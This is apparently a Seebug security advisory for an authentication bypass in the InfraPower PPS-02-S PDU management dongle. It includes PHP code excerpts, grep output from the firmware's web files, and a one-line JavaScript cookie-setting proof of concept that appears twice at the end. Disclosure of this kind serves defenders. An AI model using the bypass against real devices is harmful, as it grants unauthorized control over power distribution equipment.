InfraPower PPS-02-S Q213V1 Authentication Bypass Vulnerability

2017-12-29T00:00:00
ID SSV:97042
Type seebug
Reporter Root
Modified 2017-12-29T00:00:00

Description

Summary

InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management.

Description

The device does not properly perform authentication, allowing it to be bypassed through cookie manipulation. The vulnerable function checkLogin() in 'Function.php' checks only if the 'Login' Cookie is empty or not, allowing easy bypass of the user security mechanisms.

Vendor

Austin Hughes Electronics Ltd. - http://www.austin-hughes.com

Affected Version

  • Q213V1 (Firmware: V2395S)

Tested On

  • Linux 2.6.28 (armv5tel)
  • lighttpd/1.4.30-devel-1321
  • PHP/5.3.9
  • SQLite/3.7.10

Detail

(example) System.php: 1: <?php 2: 3: require_once("Function.php"); 4: session_start(); 5: if(!checkLogin()) 6: header('Location: Login.php'); 7: Function.php: 155: function checkLogin(){ 156: if(empty($_SESSION['Login'])) 157: return false; 158: return true; 159: } 160: 'Sessioned' scripts: ``` вћњ www grep -rHn 'session_start' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Firmware.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/FWUpgrade.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/Login.php:2: session_start(); /Users/liwomac/Desktop/infrapower_files/www/Logout.php:2: session_start(); /Users/liwomac/Desktop/infrapower_files/www/OutletDetails.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/OutletDetails_Ajax.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/PDUDetails.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/PDUStatus.php:9: session_start(); /Users/liwomac/Desktop/infrapower_files/www/PDUStatus_Ajax.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/SensorDetails.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/SensorStatus.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/SNMP.php:3: session_start(); /Users/liwomac/Desktop/infrapower_files/www/System.php:4: session_start(); /Users/liwomac/Desktop/infrapower_files/www/User.php:3: session_start();

вћњ www grep -rHn 'session_destroy' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Function.php:256: session_destroy(); /Users/liwomac/Desktop/infrapower_files/www/Function.php:266: session_destroy();
/Users/liwomac/Desktop/infrapower_files/www/Logout.php:7: session_destroy(); /Users/liwomac/Desktop/infrapower_files/www/System.php:53: session_destroy(); /Users/liwomac/Desktop/infrapower_files/www/System.php:63: session_destroy();

вћњ www grep -rHn '$_SESSION' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Function.php:11: if(isset($_SESSION['ite'])){ /Users/liwomac/Desktop/infrapower_files/www/Function.php:12: $this->init($_SESSION['ite']); /Users/liwomac/Desktop/infrapower_files/www/Function.php:156: if(empty($_SESSION['Login'])) /Users/liwomac/Desktop/infrapower_files/www/Function.php:233: if(!isset($_SESSION['TimeSync'])){ /Users/liwomac/Desktop/infrapower_files/www/Function.php:234: $_SESSION['TimeSync'] = getConf("/mnt/mtd/main_conf", "TimeSyncPDU_opt"); /Users/liwomac/Desktop/infrapower_files/www/Function.php:235: if($_SESSION['TimeSync'] == "ON"){ /Users/liwomac/Desktop/infrapower_files/www/Function.php:237: $_SESSION['SyncDate'] = explode(":",$SyncDate); /Users/liwomac/Desktop/infrapower_files/www/Function.php:239: $_SESSION['TimeSync'] = "OFF"; /Users/liwomac/Desktop/infrapower_files/www/Function.php:240: $_SESSION['SyncDate'][0] = "0"; /Users/liwomac/Desktop/infrapower_files/www/Function.php:241: $_SESSION['SyncDate'][1] = "0"; /Users/liwomac/Desktop/infrapower_files/www/Function.php:255: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/Function.php:265: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/Login.php:31: $_SESSION['ite'] = substr($this->InfraType,1,1); // e.g."t3v3" get the second chr 3; /Users/liwomac/Desktop/infrapower_files/www/Login.php:64: $_SESSION['ite'] = "1"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:67: $_SESSION['ite'] = "2"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:70: $_SESSION['ite'] = "3"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:73: $_SESSION['ite'] = "3"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:76: $_SESSION['ite'] = "3"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:79: $_SESSION['ite'] = "4"; /Users/liwomac/Desktop/infrapower_files/www/Login.php:82: $_SESSION['ite'] = FALSE; /Users/liwomac/Desktop/infrapower_files/www/Login.php:91:$_SESSION['ite'] = $InfraType; /Users/liwomac/Desktop/infrapower_files/www/Login.php:137: $_SESSION['Login'] = $_POST['ID_User']; /Users/liwomac/Desktop/infrapower_files/www/Login.php:140: $_SESSION['Login'] = $_POST['ID_User']; /Users/liwomac/Desktop/infrapower_files/www/Login.php:156: if (isset($_SESSION['ite']) && $_SESSION['ite']=="3") { /Users/liwomac/Desktop/infrapower_files/www/Login.php:167: if (isset($_SESSION['ite']) && $_SESSION['ite']=="3") { /Users/liwomac/Desktop/infrapower_files/www/Logout.php:3: $_SESSION['Login']; /Users/liwomac/Desktop/infrapower_files/www/Logout.php:4: if (isset($_SESSION['Login'])){ /Users/liwomac/Desktop/infrapower_files/www/Logout.php:5: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/Menu.php:60: /*if ($_SESSION["SS_SystemCreated"] == "1") { /Users/liwomac/Desktop/infrapower_files/www/System.php:52: unset($_SESSION['Login']); /Users/liwomac/Desktop/infrapower_files/www/System.php:62: unset($_SESSION['Login']);

вћњ www grep -rHn 'checkLogin' /Users/liwomac/Desktop/infrapower_files/www /Users/liwomac/Desktop/infrapower_files/www/Firmware.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/Function.php:155: function checkLogin(){ /Users/liwomac/Desktop/infrapower_files/www/FWUpgrade.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/Login.php:165: if(checkLogin()) { /Users/liwomac/Desktop/infrapower_files/www/OutletDetails.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/OutletDetails_Ajax.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/PDUDetails.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/PDUStatus.php:10: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/PDUStatus_Ajax.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/SensorDetails.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/SensorStatus.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/SNMP.php:4: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/System.php:5: if(!checkLogin()) /Users/liwomac/Desktop/infrapower_files/www/User.php:4: if(!checkLogin()) ```

PoC:

javascript:document.cookie="Login=StrangerThings;expires=Sat, 09 Dec 2017 11:05:17 GMT"

                                        
                                            
                                                javascript:document.cookie="Login=StrangerThings;expires=Sat, 09 Dec 2017 11:05:17 GMT"